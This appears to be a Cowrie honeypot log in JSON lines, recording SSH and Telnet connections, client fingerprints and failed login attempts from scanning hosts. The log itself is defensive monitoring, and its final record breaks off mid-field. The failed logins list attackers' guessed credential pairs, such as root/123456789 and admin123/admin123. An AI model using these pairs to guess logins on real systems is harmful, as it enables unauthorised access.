{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:24.975678Z","src_ip":"91.92.40.36","session":"3f8e5cdcb478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42346,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d6ca097dfa","protocol":"telnet","message":"New connection: 128.199.8.54:42346 (159.203.135.109:23) [session: 92d6ca097dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:27.907790Z"}
{"eventid":"cowrie.session.closed","duration":38.70305681228638,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:28.245441Z","src_ip":"172.81.62.90","session":"9a4486c75131","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:31.173652Z","src_ip":"91.92.40.36","session":"3f8e5cdcb478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32294,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9719c6173bd","protocol":"ssh","message":"New connection: 91.92.40.36:32294 (10.17.0.5:22) [session: d9719c6173bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:32.084267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:32.431044Z","src_ip":"91.92.40.36","session":"d9719c6173bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:32.448915Z","src_ip":"91.92.40.36","session":"d9719c6173bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:32.866804Z","src_ip":"91.92.40.36","session":"3f8e5cdcb478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:33.584597Z","src_ip":"91.92.40.36","session":"d9719c6173bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:34.787346Z","src_ip":"91.92.40.36","session":"d9719c6173bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55690,"dst_ip":"159.203.135.109","dst_port":22,"session":"84dba0945b31","protocol":"ssh","message":"New connection: 27.71.230.31:55690 (159.203.135.109:22) [session: 84dba0945b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:34.899881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:35.463648Z","src_ip":"27.71.230.31","session":"84dba0945b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:35.467429Z","src_ip":"27.71.230.31","session":"84dba0945b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1$","message":"login attempt [root/Password1$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:40.452251Z","src_ip":"27.71.230.31","session":"84dba0945b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49070,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e147be45ece","protocol":"ssh","message":"New connection: 91.92.40.36:49070 (10.17.0.5:22) [session: 9e147be45ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:41.607260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:41.710920Z","src_ip":"91.92.40.36","session":"9e147be45ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:42.368903Z","src_ip":"91.92.40.36","session":"9e147be45ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:42.382607Z","src_ip":"27.71.230.31","session":"84dba0945b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":51880,"dst_ip":"10.17.0.5","dst_port":22,"session":"93753d239321","protocol":"ssh","message":"New connection: 45.78.204.254:51880 (10.17.0.5:22) [session: 93753d239321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:45.007593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:45.012041Z","src_ip":"45.78.204.254","session":"93753d239321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:45.251170Z","src_ip":"45.78.204.254","session":"93753d239321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22536,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2b30aa02b13","protocol":"ssh","message":"New connection: 91.92.40.36:22536 (10.17.0.5:22) [session: d2b30aa02b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:47.040830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:47.373544Z","src_ip":"91.92.40.36","session":"d2b30aa02b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:47.377293Z","src_ip":"91.92.40.36","session":"d2b30aa02b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:48.345163Z","src_ip":"91.92.40.36","session":"9e147be45ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini520.","message":"login attempt [root/woaini520.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:48.767323Z","src_ip":"45.78.204.254","session":"93753d239321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":58652,"dst_ip":"159.203.135.109","dst_port":22,"session":"a96e7a45d5df","protocol":"ssh","message":"New connection: 97.74.87.152:58652 (159.203.135.109:22) [session: a96e7a45d5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:48.971312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:48.977854Z","src_ip":"97.74.87.152","session":"a96e7a45d5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:49.212890Z","src_ip":"97.74.87.152","session":"a96e7a45d5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:49.258847Z","src_ip":"91.92.40.36","session":"d2b30aa02b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:50.009982Z","src_ip":"45.78.204.254","session":"93753d239321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:50.198568Z","src_ip":"97.74.87.152","session":"a96e7a45d5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:50.645902Z","src_ip":"91.92.40.36","session":"d2b30aa02b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:50.780391Z","src_ip":"91.92.40.36","session":"9e147be45ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:51.435730Z","src_ip":"97.74.87.152","session":"a96e7a45d5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22580,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf0704b7bb95","protocol":"ssh","message":"New connection: 91.92.40.36:22580 (10.17.0.5:22) [session: bf0704b7bb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:54.428621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:55.040941Z","src_ip":"91.92.40.36","session":"bf0704b7bb95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:55.046505Z","src_ip":"91.92.40.36","session":"bf0704b7bb95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kelvin","password":"kelvin","message":"login attempt [kelvin/kelvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:57.251842Z","src_ip":"91.92.40.36","session":"bf0704b7bb95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:58.860083Z","src_ip":"91.92.40.36","session":"bf0704b7bb95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59828,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bcec0cee3b9","protocol":"ssh","message":"New connection: 91.92.40.36:59828 (10.17.0.5:22) [session: 0bcec0cee3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:01.764941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:02.419186Z","src_ip":"91.92.40.36","session":"0bcec0cee3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sh